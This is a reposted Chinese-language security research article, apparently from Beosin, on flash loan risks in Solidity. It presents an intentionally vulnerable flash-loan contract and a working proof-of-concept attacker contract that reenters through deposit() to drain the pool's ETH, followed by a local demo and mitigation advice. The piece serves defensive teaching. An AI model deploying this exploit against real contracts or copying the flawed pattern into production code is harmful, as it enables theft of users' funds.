Solidity語言閃電貸安全風險研究

2023-11-08 10:08 Beosin


來源:Beosin

雖然各種閃電貸項目的實現思路都大同小異,但是小小的不同也可能會導致嚴重的安全隱患。接下來的幾篇文章,我們將陸續介紹Solidity、Move以及Rust語言閃電貸實現需要注意的問題以及解決辦法。

今天我們先來介紹Solidity語言閃電貸需要注意的問題。

Solidity閃電貸設計中,大部分項目會通過檢查自身余額來判斷調用者是否歸還資金。單獨看該方式是沒有問題的,因爲無論調用者借錢後會進行什么操作,最終都能保證合約自身資金安全。但大多閃電貸項目都不會只提供一個閃電貸功能,合約中還會存在其他業務函數,如果其他函數中有對合約余額產生影響的業務,便可能存在嚴重的安全隱患。

注:以下代碼僅做爲閃電貸安全問題研究代碼,不排除存在其他安全問題

下列代碼是一個簡單的閃電貸示例合約,主要由兩個部分組成:

第一個部分是閃電貸的功能,首先記錄一個借出前合約所擁有的ETH數量,在借出ETH的同時,會調用調用者指定合約的指定函數,最後判斷本合約擁有的ETH數量是否大於等於借出之前的ETH數量加上1/100的手續費。

第二個部分便是提供閃電貸流動性的質押功能,用戶可以將ETH質押到閃電貸合約,通過閃電貸收取的手續費來賺取收益。

但是該合約中存在一個非常常見的重入漏洞,可以使得調用者在抵押的同時繞過閃電貸最終檢查。

pragma solidity ^0.8.0;
contract loan {
   string public  name="lp_Loan";    string public  symbol="LL";    uint256 public totalSupply;    mapping(address => uint256) public _balance;
   event Transfer(address indexed from, address indexed to, uint256 value);
   constructor() {    }
   function balanceOf(address owner) public view returns (uint256) {        return _balance[owner];    }
   function _mint(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] + amount;        totalSupply+=amount;        emit Transfer(address(0), msg.sender, amount);    }
   function _burn(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] - amount;        totalSupply = totalSupply - amount;        emit Transfer(msg.sender, address(0), amount);}//抵押ETH,獲得憑證幣    function deposit() public payable returns(uint256){        uint256 value=address(this).balance - msg.value;        uint256 mint_amount;        if(totalSupply==0){            mint_amount=msg.value;        }        else{            mint_amount=msg.value*totalSupply/value;        }        _mint(mint_amount);        return mint_amount;    }//提取ETH,銷毀憑證幣    function withdrew(uint256 amount) public returns(uint256){        uint256 value=address(this).balance;        uint256 send_amount;        send_amount = amount * value / totalSupply;        _burn(amount);        payable(msg.sender).call{value:send_amount}("");        return send_amount;}//閃電貸    function flash_loan(uint256 amountOut, address to, bytes calldata data) external {        uint256 value=address(this).balance;        require(amountOut <= value);        //發送借款並調用目標合約        payable(to).call{value:amountOut}(data);        value=value/100+value;        //還款檢查,收取1%手續費(真實項目可能不會這么高)        require(address(this).balance>=value);    }
   receive() external payable { }}

接下來我們使用以下PoC代碼針對上述閃電貸項目進行攻擊測試,主要思路是利用閃電貸的回調函數進行重入攻擊,可將正常的業務行爲覆蓋爲還款行爲,最終掏空閃電貸合約的ETH。

首先調用PoC合約的start()函數,函數將發起閃電貸。借貸金額爲閃電貸合約的ETH余額減一,該步驟是爲了後續deposit()的時候不會導致計算錯誤,傳入back()函數做爲回調參數。

然後在back()函數中,將借貸的ETH再加些許手續費抵押進閃電貸合約,會給PoC合約鑄造憑證代幣。back()函數結束時,閃電貸合約會檢查還款情況,由於抵押時更新了ETH余額,所以檢查將通過。最後PoC合約再利用憑證幣將ETH提取出來。

pragma solidity ^0.8.0;
interface loan {    function flash_loan(uint256 amountOut, address to, bytes calldata data) external;    function withdrew(uint256 amount) external returns(uint256);    function deposit() external payable returns(uint256);}contract poc {    address public owner;    address _loan;    loan i_loan;    uint256 mint_amount;    constructor(address loan_){        owner=msg.sender;        _loan=loan_;        i_loan=loan(loan_);    }    function start() public {        uint256 value_first = address(this).balance;        //發起閃電貸        i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()"))));        //提取ETH        i_loan.withdrew(mint_amount);        //判斷是否產生收益        require(address(this).balance > value_first);    }
function back() public payable {    //閃電貸回調,質押ETH(此處並非一定質押102%的ETH,但必須超過101%)        mint_amount = i_loan.deposit{value:(msg.value*102/100)}();    }
   receive() external payable { }
   function getEth() external  {        payable(owner).transfer(address(this).balance);    }}

本地環境演示:

首先部署閃電貸合約,並通過某地址向其中抵押50枚ETH,模擬項目开始使用。 

部署PoC合約,並傳入loan合約地址,向其中轉入些許手續費,爲之後過閃電貸手續費檢查做准備。 

調用PoC合約的start()函數,可以發現,loan的ETH已經被轉移到了PoC合約。

loan合約僅剩1 wei的余額。

PoC合約擁有52ETH,收益了50ETH。 

安全建議:

對於使用余額來進行判斷的閃電貸項目,並且合約中還存在其他和余額操作有關的業務函數,那么需要在閃電貸函數和其他業務函數之間添加重入鎖,防止在閃電貸過程中再次進入合約,從而影響最終檢查。

或者使用單獨的账本記錄其他業務的相關信息,閃電貸函數在做檢查的時候,要將單獨账本進行共同檢查。例如上述代碼,deposit函數中增加一個账本用於記錄抵押量,在flash_loan函數中,需要減去該抵押量账本數據,再進行閃電貸前後判斷。

使用其他方式進行還款驗證,例如ERC20代幣的閃電貸,使用SafeTansferfrom函數進行轉账,實行“強制”還款方案。

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播信息之目的,不構成任何投資建議,如有侵權行為,請第一時間聯絡我們修改或刪除,多謝。

標題:Solidity語言閃電貸安全風險研究

地址:https://www.sgitmedia.com/article/14993.html

相關閱讀: